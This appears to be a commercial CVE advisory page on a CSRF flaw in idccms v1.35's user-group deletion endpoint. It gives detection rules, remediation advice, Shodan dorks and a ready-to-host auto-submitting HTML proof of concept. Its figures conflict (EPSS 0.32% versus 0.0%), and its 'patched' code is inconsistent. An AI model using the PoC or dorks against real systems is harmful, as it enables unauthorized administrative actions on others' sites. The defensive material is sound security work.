☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-40039

CVE-2024-40039 Cross-Site Request Forgery in Idccms
📅 PUBLISHED: 2024-07-09 00:00 UTC 🔄 UPDATED: 2026-08-21 19:33 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-40039 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35. The flaw exists in the /admin/userGroup_deal.php?mudi=del endpoint, allowing an attacker to forge requests that delete user groups without the administrator's consent. This vulnerability requires user interaction (e.g., clicking a malicious link) and can lead to unauthorized administrative actions, potentially disrupting user management and access control.

The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP application (idccms). No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can lead to unauthorized deletion of user groups, affecting administrative integrity.

Deep Dive & Mechanics

The vulnerability resides in the mudi=del action of /admin/userGroup_deal.php. The application fails to implement anti-CSRF tokens or origin validation, allowing an attacker to craft a malicious request that, when executed by an authenticated admin, deletes a user group.

Attack Flow:

  1. Attacker crafts a malicious HTML page or link containing a request to /admin/userGroup_deal.php?mudi=del&id=GROUP_ID.
  2. Attacker lures an authenticated admin to visit the malicious page.
  3. The admin's browser sends the forged request with their session cookies.
  4. The server processes the request, deleting the specified user group.

Root Cause: Lack of CSRF protection mechanisms (e.g., tokens, SameSite cookies, or referrer validation).

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/userGroup_deal.php
if ($_GET['mudi'] == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM user_group WHERE id = $id";
    mysqli_query($conn, $sql);
    // No CSRF token check
}

Patched Code (Hypothetical):

// /admin/userGroup_deal.php
session_start();
if ($_GET['mudi'] == 'del') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_GET['id']);
    $stmt = $conn->prepare("DELETE FROM user_group WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team (Proof of Concept)

Exploit HTML (CSRF PoC):

<html>
<body>
<h1>Click the button to trigger CSRF</h1>
<form action="http://target/admin/userGroup_deal.php?mudi=del&id=1" method="GET" id="csrf_form">
  <input type="submit" value="Delete User Group">
</form>
<script>
  document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage: Host this HTML on an attacker-controlled server. Send the link to an authenticated admin. When the admin visits the page, the form auto-submits, deleting user group ID 1.

Blue Team (Detection & Prevention)

Detection:

  • Monitor for unexpected GET requests to /admin/userGroup_deal.php?mudi=del from non-admin IPs.
  • Alert on multiple rapid deletions of user groups.

Prevention:

  • Implement CSRF tokens in all admin forms.
  • Enforce SameSite=Strict or Lax on session cookies.
  • Validate HTTP Referer header.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP GET requests to /admin/userGroup_deal.php?mudi=del&id=[0-9]+
    • Referer header pointing to external domains (e.g., attacker.com)
  • Logs:
    • Web server logs showing repeated userGroup_deal.php?mudi=del requests from different IPs.
    • Database logs showing DELETE FROM user_group queries without prior authentication.
  • File System:
    • Unexpected files in /admin/ directory (e.g., malicious HTML files).

Detection Engineering

YARA Rule

rule CVE_2024_40039_CSRF_idccms {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-40039"
    strings:
        $s1 = "userGroup_deal.php?mudi=del" ascii wide nocase
        $s2 = "DELETE FROM user_group" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: idccms CSRF User Group Deletion
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects CSRF attempts against idccms v1.35 user group deletion endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/userGroup_deal.php?mudi=del'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40039 idccms CSRF User Group Deletion"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/userGroup_deal.php?mudi=del"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if not required: Block access to /admin/userGroup_deal.php via web server configuration.
  2. Implement CSRF protection manually:
    • Add a hidden CSRF token field to all admin forms.
    • Validate the token on the server side.
  3. Restrict admin access to trusted IPs only.

Long-term Fix:

  • Upgrade to a patched version of idccms (if available).
  • Conduct a full security audit of the application.

Workaround:

  • Use a Web Application Firewall (WAF) to block requests to /admin/userGroup_deal.php with mudi=del unless accompanied by a valid CSRF token.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"idccms"
http.html:"idccms"
http.favicon.hash:UNKNOWN

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-40039/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.